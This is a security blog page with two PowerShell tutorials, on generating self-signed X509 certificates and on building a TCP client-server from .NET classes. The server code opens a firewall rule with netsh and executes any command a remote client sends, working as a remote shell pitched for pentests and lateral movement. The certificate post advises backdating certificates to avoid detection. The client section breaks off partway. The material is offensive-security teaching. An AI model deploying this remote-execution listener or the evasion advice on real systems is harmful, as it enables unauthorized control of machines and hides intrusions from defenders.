Pages

Sunday, July 31, 2016

PowerShell: Generate self-signed X509 Certificates

When talking about TCP Client-Server infrastructures, there is always the question about the confidentiality of the traffic between both sockets. In my last PowerShell post: TCP Client-Server with .NET Classes, I explained how easy it was to build such a infrastructure, but the traffic between the two ends was not being encrypted. What if you need to encrypt your traffic when sending and receiving data from a compromised host (TCP server)? This applies to both teams (Red & Blue). During a pen-testing or an IR engagement, you will definitely want to encrypt your communications. Either to avoid security controls or defeat any type of sniffing or man-in-the-middle happening on the compromised host.

In this post, I will go over how to generate a self-signed X509 Certificate in order to encrypt/decrypt and sign the traffic between a client and server (The certificate will be applied to our TCP Client-Server Architecture built in my last PowerShell post: TCP Client-Server with .NET Classes on a separate post) . I will start with some definitions and also provide several references for those that want to read more about this topic and the COM Interfaces used.

Requirements:
  • At least Windows 7
  • At least PowerShell v2
  • PowerShell ISE
  • Basic-Intermediate understanding of the Public Key Infrastructure (PKI)



Public Key Infrastructure (PKI) - Refresh! 

Public-key cryptography (also called asymmetric-key cryptography) uses a key pair to encrypt and decrypt content. The key pair consists of one public and one private key that are mathematically related. An individual who intends to communicate securely with others can distribute the public key but must keep the private key secret. Content encrypted by using one of the keys can be decrypted by using the other.

Even though this sounds easy to follow, there was a concern that one could not able to verify if the public key used to encrypt the data came from the individual holding the private key on the other end. Someone could easily sit in the middle of the two parties and insert its own public key in the conversation. See the image below to understand this better:


Figure 1. Man-in-the-middle w/o certificates


In order to improve this first basic encryption framework, a Certification Authority (CA) was added to the process with the main goal of providing ownership validation of the public key. accomplishes this by issuing signed (encrypted) binary certificates that affirm the identity of the certificate subject and bind that identity to the public key contained in the certificate. The CA signs the certificate by using its private key. It issues the corresponding public key to all interested parties in a self-signed CA certificate. 


X.509 Public Key Certificates

The X.509 public key infrastructure (PKI) standard identifies the requirements for robust public key certificates. A certificate is a signed data structure that binds a public key to a person, computer, or organization. 


Component Object Model (COM) & PowerShell

It is a binary-interface standard for software components introduced by Microsoft in 1993. It is used to enable inter-process communication and dynamic object creation in a large range of programming languages. COM is the basis for several other Microsoft technologies and frameworks, including OLE, OLE Automation, ActiveX, COM+, DCOM, the Windows shell, DirectX, UMDF and Windows Runtime. PowerShell allows you to use COM interfaces to extend its capabilities beyond the limited tasks that can be performed by using only cmdlets.



Generate X.509 Certificate

Code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
function New-X509Certificate 
{ 
    Param (
        [Parameter(Position = 0, Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [String]$CommonName,
        [Parameter(Mandatory=$true)]
        [ValidateSet("1.3.6.1.5.5.7.3.1","1.3.6.1.5.5.7.3.2")]
        [ValidateNotNullOrEmpty()]
        [String]$EKValue
    )      

    $DN = New-Object -ComObject 'X509Enrollment.CX500DistinguishedName.1'
    $DN.Encode("CN=$CommonName", 0)
}


  • Line #1-11: Creates the function New-X509Certificate and defines the parameters that will be used during the certificate enrollment. First parameter is the CommonName which typically looks like "www.yoursite.com" or "yoursite.com". SSL Server Certificates are specific to the Common Name that they have been issued to at the Host level. The Common Name must be the same as the Web address the client will be accessing when connecting to a secure site. Next, the EKValue (Extended Key Value) is defined. There are two valid options only for this parameter.
    • 1.3.6.1.5.5.7.3.1 - Indicates that the certificate can be used as an SSL Server Certificate
    • 1.3.6.1.5.5.7.3.2 = Indicates that the certificate can be used as an SSL Client Certificate
  • Line #13: Allows the program to initialize and use the IX500DistinguishedName interface (COM Interface) along with its methods and properties.
  • Line #14: Uses the method Encode() from the IX500DistinguishedName interface to initialize an object from a string that contains a distinguished name ($CommonName).
    • First param: A basic String (BSTR) variable that contains the string to encode
    • Second param: An X500NameFlags enumeration value that specifies the format of the encoded value. X509Enrollment.CX500DistinguishedName exposes all the various encoding options available
      • XCN_CERT_NAME_STR_NONE = 0




1
2
3
4
5
6
7
8
    $PrivateKey = New-Object -ComObject 'X509Enrollment.CX509PrivateKey.1'
    $PrivateKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider" 
    
    $PrivateKey.KeySpec = 1
    $PrivateKey.ExportPolicy = 2
    $PrivateKey.MachineContext = $true
    $PrivateKey.Length = 2048
    $PrivateKey.Create()

  • Line #1: Initializes the CX509PrivateKey Interface (COM Interface).The IX509PrivateKey interface represents an asymmetric private key that can be used for encryption, signing and key agreement.
  • Line #2: Fakes the Cryptographic provider with the property ProviderName
  • Line #4: Uses the property KeySpec from the IX509PrivateKey interface to specify whether a PK can be used for (signing or Encryption or both).
    • XCN_AT_NONE = 0
      • It is set if the provider that supports the key is a Cryptography API: Next Generation (CNG)
    • XCN_AT_KEYEXCHANGE = 1
      • The Key can be used to encrypt (including Key Exchange) or sign depending on the Algorithm.
      • For RSA Algorithms, if this value is set, the Key can be used for both signing and Encryption.
      • For other Alrgorithms, signing may not be supported.
    • XCN_AT_SIGNATURE = 2
      • The key can be used for signing 
  • Line #5: Uses the property ExportPolicy from the IX509PrivateKey interface to specify or retrieve export constraints for a private key.This property is web enabled for both input and output. The property is read and Write.
    • X509PrivateKeyExportFlags values to specify the export policy for private Key
      • XCN_NCRYPT_ALLOW_EXPORT_NONE = 0 /Export is not allowed. This is the default value.
      • XCN_NCRYPT_ALLOW_EXPORT_FLAG = 1 /The private key can be exported.
      • XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG = 2 /The private key can be exported in plain text.
      • XCN_NCRYPT_ALLOW_ARCHIVING_FLAG = 4 /The private key can be exported once for archiving.
      • XCN_NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG = 8 /Private key can be exported once in plain Text for archiving.
  • Line #6: Uses the property MachineContext from the IX509PrivateKey interface to specify or retrieve a Boolean value (true or false) that identifies the local certificate store context.
    • A VARIANT_BOOL variable that identifies the certificate store context:
      • $TRUE = for the computer
      • $FALSE = for the user
  • Line #7: Specifies or retrieves the length, in bits, of the private key
  • Line #8:  Uses the method Create() from the IX509PrivateKey interface to create an asymmetric Private Key.





1
2
3
4
5
6
7
8
    $HashAlg = New-Object -ComObject 'X509Enrollment.CObjectId.1'
    $HashAlg.InitializeFromAlgorithmName(1, 0, 0, 'SHA512')
    $ServerAuthOid = New-Object -ComObject 'X509Enrollment.CObjectId.1'
    $ServerAuthOid.InitializeFromValue($EKValue)
    $EkuOid = New-Object -ComObject 'X509Enrollment.CObjectIds.1'
    $EkuOid.Add($ServerAuthOid)
    $EkuExtension = New-Object -ComObject 'X509Enrollment.CX509ExtensionEnhancedKeyUsage.1'
    $EkuExtension.InitializeEncode($EkuOid) 


  • Line #1: Initializes the CObjectId Interface (COM Interface) in order to represent an Object Identifier (OID).
  • Line #2: Uses the method InitializeFromAlgorithmName() from the  CObjectId Interface to initialize the object from an algorithm or an object identifier.
    • ObjectIDGroupId: Specifies the OID Group to search
      • XCN_CRYPT_ANY_GROUP_ID = 0
      • XCN_CRYPT_HASH_ALG_OID_GROUP_ID  = 1,
      • XCN_CRYPT_ENCRYPT_ALG_OID_GROUP_ID = 2,
      • XCN_CRYPT_PUBKEY_ALG_OID_GROUP_ID = 3,
      • XCN_CRYPT_SIGN_ALG_OID_GROUP_ID = 4,
      • XCN_CRYPT_RDN_ATTR_OID_GROUP_ID = 5,
      • XCN_CRYPT_EXT_OR_ATTR_OID_GROUP_ID  = 6,
      • XCN_CRYPT_ENHKEY_USAGE_OID_GROUP_ID = 7,
      • XCN_CRYPT_POLICY_OID_GROUP_ID = 8,
      • XCN_CRYPT_TEMPLATE_OID_GROUP_ID = 9,
      • XCN_CRYPT_LAST_OID_GROUP_ID = 9,
      • XCN_CRYPT_FIRST_ALG_OID_GROUP_ID = 1,
      • XCN_CRYPT_LAST_ALG_OID_GROUP_ID = 4,
      • XCN_CRYPT_OID_DISABLE_SEARCH_DS_FLAG  = 0x80000000,
      • XCN_CRYPT_KEY_LENGTH_MASK = 0xffff0000
    • ObjectIdPublicKeyFlags: Enumeration value that specifies whether to search for signing or an encryptionalgorithm.
      • XCN_CRYPT_OID_INFO_PUBKEY_ANY = 0, /Agorithm can be used for signing or encryption
      • XCN_CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG = 0x80000000, /Algorithm used for signing
      • XCN_CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG = 0x40000000 /Algorithm is used for encryption
    • AlgorithmFlags: Enumeration values to redefine the search for a cryptographic algorithm.
      • AlgorithmFlagsNone  = 0x00000000, /no flags are specified
      • AlgorithmFlagsWrap  = 0x00000001 /Algorithm is used for key wrapping.
    • strAlgorithName: a BSTR variable that contains the name. CNG Algorithm Names
      • 'SHA512' = the 512-bit secure hash algorithm
  • Line #3: Initializes another CObjectId Interface (COM Interface) in order to represent an Object Identifier (OID).
  • Line #4: Uses the method InitializeFromValue() from the  CObjectId Interface to initialize the object from a string that contains a dotted decimal OID. This line takes the parameter $EKValue specified while running the function New0X509Certificate. The certificate content is encoded using Abstract Syntax Notation 1 Distinguished Encoding Rules (ASN.1.DER). Also, the variable $ServerAuthoid stores the ODI value which will be encoded later. EKValues:
    • 1.3.6.1.5.5.7.3.1 = Indicates that the certificate can be used as an SSL Server Certificate
    • 1.3.6.1.5.5.7.3.2 = Indicates that the certificate can be used as an SSL Client Certificate
  • Line #5: Initializes another CObjectId Interface (COM Interface) in order to represent an Object Identifier (OID). Remember that X509Enrollment.CObjectIds.1 allows you to deine methods and properties that enable you to manage a collection of IObjectID Objects.
  • Line #6: Uses the method add() from the  CObjectId Interface to add the ObjectId value set before by $ServerAuthoid.
  • Line #7: Initializes the CX509ExtensionEnhancedKeyUsage interface used to define a collection of OIDs that identify the intended uses of the public key contained in the certificate.
  • Line #8: Uses the method InitializeEncode() from the CX509ExtensionEnhancedKeyUsage interface to initialize the extension from a collection of OIDs that specified the intended uses of the public Key.





1
2
3
4
5
6
7
8
9
    $Certificate = New-Object -ComObject 'X509Enrollment.CX509CertificateRequestCertificate.1'
    $Certificate.InitializeFromPrivateKey(2, $PrivateKey, '')
    $Certificate.Subject = $DN
    $Certificate.Issuer = $Certificate.Subject
    $Certificate.NotBefore = [DateTime]::Now.AddDays(-1)
    $Certificate.NotAfter = $Certificate.NotBefore.AddDays(90)
    $Certificate.X509Extensions.Add($EkuExtension)
    $Certificate.HashAlgorithm = $HashAlg
    $Certificate.Encode()

  • Line #1: Initializes the IX509CertificateRequestCertificate interface which represents a request object for a self-generated certificate, enabling you to create a certificate directly without going through a registration or certification authority.
  • Line #2: Uses the method InitializeFromPrivateKey() from the IX509CertificateRequestCertificate interface to initialize the certificate request using the $privatekey already created before. It uses an IX509PriavteKey object and optionally a template.
    • X509CertificateEnrollmentContext = Enumeration value requested
      • ContextUser=0x1, /The certificate is being requested for an end user
      • ContextMachine=0x2, /The certificate is intended for a computer.
      • ContextAdministratorForceMachine=0x3 /The certificate is being requested by an administrator acting on the behalf of a computer.
    • PrivateKey = Pointer to the IX509PrivateKey interface that represents the private key = $PrivateKey
    • TemplateName = a BSTR variable that contains the Common Name (CN) of the template as it appears in active directory or the dotted decimal object identifier.
  • Line #3-6: defines the subject name ($DN variable), issuer, and the time expiration of the certificate.
  • Line #7: Uses the X509Extensions Interface from the  IX509CertificateRequestCertificate interface to define methods and properties to manage a collection of IX509 extensions. In this case it uses the method Add() in order to add an IX509Extension object ($EkuExtension) to the collection.
  • Line #8: Uses the HashAlgorithm property from the IX509CertificateRequestCertificate interface to specify and retrieve the OID of the hash algorithm used to sign the cert request.
  • Line #9: Uses the Encode() method from the IX509CertificateRequestCertificate interface to sign and encode the certificate request. It creates a key pair. The request is encoded by using Distinguished Encoding Rules (DER) as defined by the ASN.1.The encoding process creates a byte array.




1
2
3
4
5
6
7
8
    $Enroll = New-Object -ComObject 'X509Enrollment.CX509Enrollment.1'
    $Enroll.InitializeFromRequest($Certificate)
    $Enroll.CertificateFriendlyName = $CommonName
    $Csr = $Enroll.CreateRequest() 
    $Enroll.InstallResponse(2, $Csr, 1, '')
    $Base64 = $Enroll.CreatePFX('', 0)
    $file = "$CommonName"+".txt"
    $base64 | out-file $file

  • Line #1: Initializes the IX509Enrollment interface to enroll in a cert and install a certificate response.
  • Line #2: Uses the method InitializeFromRequest() from the IX509Enrollment interface to initialize the enrollment object from an exisiting IX509CertificateRequest Object ($Certificate).
  • Line #3: Uses the property CertificateFriendlName from the IX509Enrollment interface to sets the display name of the certificate to the $CommonName
  • Line #4: Uses the method CreateRequest() from the IX509Enrollment interface to encode the raw data of the request object. It uses the information provided during initialization and other properties that have been specified. Creates a dummy certificate and places it in the request store. It appends the results to variable $Csr
  • Line #5: Uses the method InstallResponse() from the IX509Enrollment interface to install the certificate chain on the end-entity computer.
    • Restrictions (enumeration value): Specifies the type of certificate that can be installed
      • AllowNone = 0x00000000, /Does not allow the installation of untrusted certificates or certificates for which there is no corresponding request.
      • AllowNoOutstandingRequest = 0x00000001, /Creates the private key from the certificate response rather than from the dummy certificate. This makes the dummy certificate options. If this value is not set, the dummy certificate must exist and the private key is extracted from it.
      • AllowUntrustedCertificate = 0x00000002, /Installs untrusted end entity and certification authority certificates. CA certificates include root and subordinate certification authority certificates. Entity certificates are installed to the personal store, and certification authority certificates are installed to the certification store. 
      • AllowUntrustedRoot = 0x00000004 / Performs the same action as the AllowUntrustedCertificate flag but also install the certificate even if the certificate chain cannot be built because the root is not trusted.
    • Response: A BSTR variable that contains the DER-Encoded response. In this case it is the $CSR since the request started on line #4. Remember we are using the DER-encoded Response and not the original request.
    • Encoding: An Encoding type Enumeration value that specifies the type of encoding applied to the string. The encoding type is set to 1 since it was encoded by the type of unicode encoding Base64.
    • Password:Optional password for the Certificate installation. This can be NULL or an empty string. If there is a password, clear it from memory when you have finished.
  • Line #6: Uses the method CreatePFX() from the IX509Enrollment interface to create a Personal Information Exchange(PFX) message. The message is contained in a byte array that is encoded by using DER as defined by ASN.1 standard. The DER-encoded byte array is represented by a string that is either a pure binary sequence or is Unicode encoded.
    • Password:A BSTR variable that contains a password for the PFX Message.This can be NULL to indicate that no password is issued.
    • ExportOptions: Expects an Enumeration Value that specifies how much of the certificate chain is exported.You can export the certificate only, the certificate chain without the root, or the entire chain.
      • PFXExportEEOnly         = 0, / includes only the end entity certificate.
      • PFXExportChainNoRoot    = 1, / Includes the certificate chain without the root CA certificate.
      • PFXExportChainWithRoot  = 2 /Includes the entire certificate chain.
    • Encoding: expects an enumeration value. By default this is XCN_CRYPT_STRING_BASE64. which is 1. There is not need to define it since it has a default value (1).
  • Line #7: Defines the name of the file which will contain the certificate in base64
  • Line #8: Outputs the certificate to a file. In other words this is what happens when the CreatePFX() method is executed:
    • Opens the certificate store in memory for the default provider.
    • Adds the installed certificate to the store or builds the certificate chain, and adds a link to it.
    • Exports the certificate and the private key to a PFX message depending on the export options specified.
    • Encodes the exported message by using DER.



Testing our Function


Figure 2. Generating Certificate




Figure 3. Cert shows under my Personal Certificates





Figure 4. Certificate Information





Figure 5. Certificate Information 


As you can see, the function worked as expected and now we can use the certificate and import it to our TCP Client-Server Script. I will be showing how to do that on my next post. I hope this was helpful to those that wanted to learn more about X509 Certificates and how to use PowerShell to generate one. Also, something that I would like to mention here is that you can manipulate the properties of the Certificate such as the expiration or validation time (As shown on the steps). If you want to use the certificate during a Pen-test I would highly recommend to change the Valid From field to something older than 6 months. You do not want to get caught with a certificate that was just created an hour before your pen-test. This is why I suggest to create the certificate separate and not on-the-fly. 

Script available on Github:

https://github.com/VVard0g/CyberWardogLab/blob/master/Invoke-NewX509Cert.ps1



feedback is always appreciated ! 


References

https://msdn.microsoft.com/en-us/library/bb427432(v=vs.85).aspx - PKI
https://msdn.microsoft.com/en-us/library/bb540819(v=vs.85).aspx - X.509 Public Key Certificates
https://en.wikipedia.org/wiki/Component_Object_Model - COM
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513(v=vs.85).aspx -TLS/SSL Handshake
https://msdn.microsoft.com/en-us/library/windows/desktop/aa377051(v=vs.85).aspx - Distinguished Name Interface
https://msdn.microsoft.com/en-us/library/windows/desktop/aa377809(v=vs.85).aspx - IX509Enrollment Interface

Monday, July 25, 2016

PowerShell: TCP Client-Server with .NET Classes

Following the same situation as one of my last posts:  Python:Client-Server Socket Programming I, how many times have you been in a network where you couldn't run tools such as netcat, nmap, psexec,.. (you name them), and all you can use is a standard-built Windows computer without any pentesting/forensics tools installed? How could you drop/pull files/forensic artifacts, execute commands over the network, encrypt your traffic, move laterally, or even spin a temp http server during an investigation or pentest?

In this post, I will go over how to build a simple TCP Client-Server infrastructure with the help of .NET classes. This will allow you to reinforce the basics of how to use.NET classes via PowerShell learned in my first PowerShell article: PowerShell: Explore .NET Classes 101.  Furthermore, you will be able to have a better understanding of how TCP Client-Server communications work (Looking under the hood!), which will be a good foundation for other PowerShell implementations regarding networking and .NET Classes.

As usual, I will start with some requirements for this program and some definitions in order to make things easier for you guys to understand. In addition, I will be providing as many details as I can so that you don't have to Google as much and a few references if you are interested in reading more about this topic.


Requirements 
  • At least Windows 7
  • At least PowerShell v2 - Compatible with any type of environment
  • PowerShell ISE - The Windows PowerShell Integrated Scripting Environment (Editor)
  • Basic understanding of .NET Classes (I recommend to read: PowerShell: Explore .NET Classes 101, at least)



System.Net.Sockets Namespace - Sockets Type

Provides a managed implementation of the Windows Sockets (Winsock) interface for developers who need to tightly control access to the network. 


Class
Description
TcpClient  Provides client connections for TCP network services
TcpListener Listens for connections from TCP network clients
NetworkStream Provides the underlying stream of data for network access



System.Text Namespace - Text Type

It contains classes that represent ASCII and Unicode character encodings; abstract base classes for converting blocks of characters to and from blocks of bytes; and helper class that manipulates and formats string objects without creating intermediate instances of string. 


Class
Description
ASCIIEncodingRepresents an ASCII character encoding of Unicode characters
StringBuilder Represents a mutable string of characters
DecoderConverts a sequence of encoded bytes into a set of characters


Simple TCP Server

Quick Overview:
  • Define parameters to the script (Port Number where it will be listening on)
  • Start the listener on the specific port
  • Start accepting connection requests
  • Connection request is accepted and TCP Client .NET object is created to  allow the server to handle the remote communication.
  • TCPClient .NET object uses its GetStream() method in order return a NetworkStream .NET object which will be used to receive and send data back to the remote client.
  • Create a while loop to send and receive commands from the client
    • Commands sent by client get executed on the server and results are sent back to the client.
  • Once the connection is interrupted or terminated, the loop finishes and the server shutdown itself successfully by  closing or disposing the TCP Client handle  and the Network Stream. Also, the listener is stopped successfully.


Code


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function Power-listener
{
    [CmdletBinding()]
    Param (
        [Parameter()]
        [Alias('p')]
        [int]$port
    )

    netsh advfirewall firewall delete rule name="cyclops $port" | Out-Null
    netsh advfirewall firewall add rule name="cyclops $port" dir=in action=allow protocol=TCP localport=$port | Out-Null

    $Tcplistener = New-object System.Net.Sockets.TcpListener $port
    $Tcplistener.Start()
    Write-host "[**] Listening on 0.0.0.0:$port [TCP]"
    $TcpClient = $Tcplistener.AcceptTcpClient()
    $remoteclient = $TcpClient.Client.RemoteEndPoint.Address.IPAddressToString
    Write-Verbose "[**] New connection coming from: $remoteclient"

  • Open your PowerShell ISE and start coding
  • Line #1: I start by creating a PowerShell function which, at the end, will hold all the code I need for my TCP server. The rest of the TCP server code will just have to be added under Line #13 following the same indentation.
  • Line #3: CmdletBinding adds great capabilities to your code such as parameter checking, confirm and whatif, and even verbose output.
  • Line #4-8: Param allows you to set parameters to your function. In order to add another parameter you will just have to add a comma after $port and then follow the same syntax as the first one. In this case, we are defining a parameter type Integer with the name $Port which will allow you to specify the port number where your server will be listening on. In addition, I have a parameter property called Alias which will allow me to use "-p" instead of "-port" if I want to while running the script. 
  • Line #10-11: Uses the netsh utility to modify the network configuration of the server. In this script, just in case, if an inbound firewall rule with the same name and port as the one I am about to create exists, it deletes it. Then, it adds a new inbound TCP firewall rule, names it PSListener and binds it to the desired port. Pipping it to Out-Null will delete any output generated after creating the rule (Avoids pop-ups on the screen).
  • Line #13: Initialize a new instance of the TCPListener class that listens on the port provided while running this function. The variable $TcpListener as a .NET object can now use any method from the TcpListener Class.
  • Line #14: Use the start() method available in the TcpListener Class in order to start the listener.
  • Line #15: Adds some text to make it look pretty while listening on the port provided at run time.
  • Line #16: Accepts a pending connection request. This method returns a TcpClient object that can be used to handle the remote communication with the client. This method is a blocking call, so it will not move to the next line or accept any input unless a connection request is sent and accepted.
  • Line #17-18: Uses the $TcpClient object and the right properties to get the IP of the remote client. Then, it uses that variable to indicate where a new connection is coming from.




1
2
3
4
5
6
7
    $TcpNetworkstream = $TCPClient.GetStream()
    $Receivebuffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
    $encodingtype = new-object System.Text.ASCIIEncoding

    $bytestosend = $encodingtype.GetBytes("`nYou have accessed ["+(hostname)+"] as: "+(whoami)+"`n")
    $bytestosend += $encodingtype.GetBytes(("`n["+(hostname)+"] PS " + (Get-Location).Path) +'> ') 
    $TcpNetworkstream.Write($bytestosend, 0, $bytestosend.Length)

  • Line #1: Uses the method GetStream() from the TcpClient Object. This method will return a Network Stream that will be used to send and receive data. 
  • Line #2: The ReceiveBufferSize property gets the number of bytes that it expects to store in the receive buffer for each read operation. This property actually manipulates the network buffer space allocated for receiving incoming data. On this line, it is basically initiating an object which will get the buffer size of the TcpClient object. This will be used as our Buffer variable when receiving data from the client. 
  • Line #3: Sets the $EncodingType variable to ASCIIEncoding. This will be used when we send data over to the client.
  • Line#5-6: This portion of the code allows the server to craft a message which will be sent later to the client as soon as the connection is established. This can be used to send a banner. For example, "Only Authorized users...". In this case, I am just sending a simple message letting the client know that it has accessed the server and the name of the specific current user that was used to invoke this script. In addition, it sends a "Shell Look" so that the client gets the reverse shell feeling or the interactive PSSession style.
    • Example: "[Server1001] PS C:\windows\System32\ >"
  • Line #7: Uses the method Write() from the $TcpNetworkstream object  in order to send the message over to the remote client.The write method blocks until the requested number of bytes is sent or an exception is thrown.The parameters of this specific operation are the following:
    • Buffer:  An array of type Byte that contains the data to write to the NetworkStream. (In this case it will be basically the contents of variable $bytestosend)
    • Offset: The location in buffer from which to start writing data
    • Size: The number of bytes to write to the NetworkStream. We just have to calculate the lenght of the variable $bytestosend which contains our message.




 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
    try {
        while ($TCPClient.Connected){
            $Read = $TcpNetworkstream.Read($Receivebuffer, 0, $Receivebuffer.Length)
            if( $Read -eq 0){break}                  
            else{            
                [Array]$Bytesreceived += $Receivebuffer[0..($Read -1)]
                [Array]::Clear($Receivebuffer, 0, $Read)
            } 
            
            if ($TcpNetworkstream.DataAvailable) {continue}
            else{
                $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($Bytesreceived))
                if ($ScriptBlock -match "break") {
                    $sendback = $encodingtype.GetBytes(("`n[!!!] Closing Connection with ["+(hostname)+"]. Press ENTER to continue.."))
                    $TcpNetworkstream.Write($sendback, 0, $sendback.Length)  
                    $TcpNetworkstream.Flush()   
                    break
                }
                $Global:Error.Clear()

                try{ 
                    $results = $ScriptBlock.Invoke() | Out-String
                    $sendback = $encodingtype.GetBytes($results)
                }
                catch{ 
                    write-verbose "[!!!] NOT VALID COMMAND"
                    foreach ($Err in $Global:Error) {
                        $sendback = $encodingType.GetBytes($Err.Exception.Message) 
                    }
                }
                write-verbose "Results: $results"

                $sendback += $encodingtype.GetBytes(("`n["+(hostname)+"] PS " + (Get-Location).Path) +'> ')
                $TcpNetworkstream.Write($sendback, 0, $sendback.Length)   
                $TcpNetworkstream.Flush()
                $results = $null
                $Bytesreceived = $null
            }
        }
    }
    catch {"`n[!!!] TCP connection is broken, exiting.."}


  • Line #1: Starts a Try/Catch block in order to catch and handle an exception. This will wrap the whole while loop for the send and receive operations.
  • Line #2: starts a while loop using the $TcpClient's connected property in order to verify if the remote client is still connected to the server socket. This loop will keep happening as long as the connection with the remote client is alive. 
  • Line #3: Uses the Read() method from the NetworkStream object in order to read data(in this case commands) sent by the remote client. It reads the data into the buffer parameter and returns the number of bytes successfully read. If no data is available for reading, the read method returns 0. The read operation reads as much data as is available up to the number of bytes specified by the size paramater. The parameters for the Read() method are the following:
    • Buffer: An array of type Byte that is the location in memory to store data read from the Networkstream. In this case will be our $Receivebuffer variable.
    • Offset: Location in buffer to begin storing the data to.
    • Size: The number of bytes to read from the Networkstream. In this case, it will be the length of our $Receivebuffer variable.
  • Line#4Creates a conditional to stop the while loop if the read method returns 0. 
  • Line #5-6: Else, if the Read method doesn't return 0, then it maps the full array of the data that was read ($read) to the buffer ($Receivebuffer). The "+=" operator means that it adds elements to the $Bytesreceived array instead of replacing its content with something new (=). This will be helpful when the listener has to do more than one read cycle to get all the information sent by the client. Next, the array list of items are specified as [0..($read -1)] because, as you know, the first item of an array starts at location 0, and the last element will be the number of bytes successfully read ($read) minus 1 since it started on 0.
  • Line #7: Uses the method Clear() from the Class Array in order to reset each element type's default value. In this case the array that will be reset is the $Receivebuffer array since it contains the data that was read. The parameters for the clear() method are the following:
    • Array: The array whose elements need to be cleared
    • index: Starting index of the range of elements to be clear
    • length: the number of elements to be clear (We can use the variable $Read since it contains the number of bytes successfully read. 
  • Line #10: creates an If conditional to check if there is still data available in the TCPNetworkStream to read. This usually happens when the data sent from the remote client is bigger than the buffer. if so, it goes back to line #3 to read again.
  • Line #11-12: if there is not extra data to read, it defines a variable ($Scriptblock) to store the string sent by the remote client. It uses the method Create() from the ScriptBlock Class in order to initialize a new instance of the ScriptBlock Class with the specific String in between its parentheses. But first, it uses the method GetString() from the $EncodingType object (ASCII) in order to decode the byte Array of the data captured while reading ($BytesReceived) into a string.
  • Line #13-17: Creates an If conditional to check if the remote client sent the command "break". if so, it sets the $sendback variable with a message which will be sent to the remote client. It uses the write method from the $TCPNetworkStream object in order to send the message over to the remote client. Next, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data. Finally, it breaks the loop in order to move to the last part of the script in order to terminate the communication gracefully.
  • Line #19: Creates a Global variable and clear any errors that might have been in the queue error. This allows you to later show errors related to a current operation.
  • Line #25-28: Uses a Try/Catch block again. During the Try section, the script uses the Scriptblock object holding the command strings and its method Invoke() in order to execute the scriptblock (commands). Then, it pipes the results of the invokation (Powershell Objects), and converts them into an array of Strings which is then appended to a new variable called $results. The variable  $sendback is defined to carry the strings/content of the variable $results. During the Catch  section, If the invokation fails, it means that the remote client sent an Invalid Command, and the error message replaces the contents of the variable $sendback which will be sent to the remote client.
  • Line #31: For troubleshooting purposes, this line allows you to use verbose and shows you what is sending back to the remote client. 
  • Line #33-35: Adds the Shell Look style to the content of $sendback after the results of the Try/Catch block in order to keep the Shell look going on (as long as the while loop is not interrupted). Also, it uses the method Write() from the $networkstream object in order to write data to the Networkstream and send it over to the remote client. Finally, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data.The parameters for the Write() method are the following:
    • Buffer: An array of type byte that contains the data to write to the Networkstream.
    • Offset: The location in buffer from which to start writing data.
    • size:  the number of bytes to write to the Networkstream.
  • Line #36-37: Clears the $results and $Bytesreceived variables to use them again in the loop. 
  • Line #41: Catches the while loop exception and shows a custom message. The while loop verifies if the connection is alive, so if the loop breaks, most likely it is because the communication got interrupted or the remote client sent the command Break.




 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    try{
        if ($PSVersionTable.CLRVersion.Major -lt 4) {$Tcpclient.Close(); $TcpNetworkstream.Close(); $Tcplistener.Stop()}
        else {$TcpNetworkstream.Dispose(); $Tcpclient.Dispose(), $Tcplistener.Stop()}

        Write-Verbose "[**] TCPClient Connected : $($TcpClient.Connected)"
        Write-Verbose "[**] TCPListener was stopped gracefully"
        Write-Verbose "[**] TCPNetworkStream was closed/disposed gracefully`n"

        netsh advfirewall firewall delete rule name="cyclops $port" | Out-Null
        Write-Verbose "[**] FW Rule has been deleted.."
    }
    catch { Write-Warning "Failed to close TCP Stream"}
}

  • Line #1: Initiates a Try/Catch block 
  • Line #2-3: creates an If condition to check the version of Powershell  you are running the script from so that it can either close or dispose the TcpClient object and Networkstream accordingly. The TcpListener uses the method stop() no matter what version of powershell you are running the script from. 
  • Line #5-7: Verbose messages confirming that there were not errors while closing/disposing the connections.
  • Line #9-10: Uses the netsh utility to delete the inboud rule created at the beginning of the script. Pipping to out-null will delete any output generated after creating the rule (Avoids pop-ups on the screen).
  • Line #12: Uses the Catch section of the block to show a warning message in case the closing, disposing and stopping operations fail.
  • Line #13: Closing bracket of the whole script/function



Simple TCP Client

Quick Overview:
  • Define parameters to the script (IP address of the server and port number where it is listening on)
  • Connect to the server on the specific port
  • If connection is accepted then the NetworkStream is obtained from the client TCP Client .NET object that was used to connect to the server.
  • Create a while loop to send commands and receive results from the server.
    • The server will invoke every valid command sent by the client
  • Once the connection is interrupted of terminated, the loop finishes and the client closes or disposes the TcpClient handle and the Networkstream.


Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function Power-Client
{
    [CmdletBinding()]
    Param (
        [Parameter()]
        [Alias('c')]
        [string]$RemoteComputer,

        [Parameter()]
        [Alias('p')]
        [int]$port
    )
    
    $Tcpclient = New-Object System.Net.Sockets.TcpClient
    $Tcpclient.Connect($RemoteComputer, $port)    
    $serverip = [System.Net.IPAddress]::Parse($RemoteComputer)  

  • Line #1: I start by creating a PowerShell function which, at the end, will hold all the code I need for my TCP Client. The rest of the TCP server code will just have to be added under Line #18 following the same indentation.
  • Line #3: CmdletBinding adds great capabilities to your code such as parameter checking, confirm and whatif, and even verbose output.
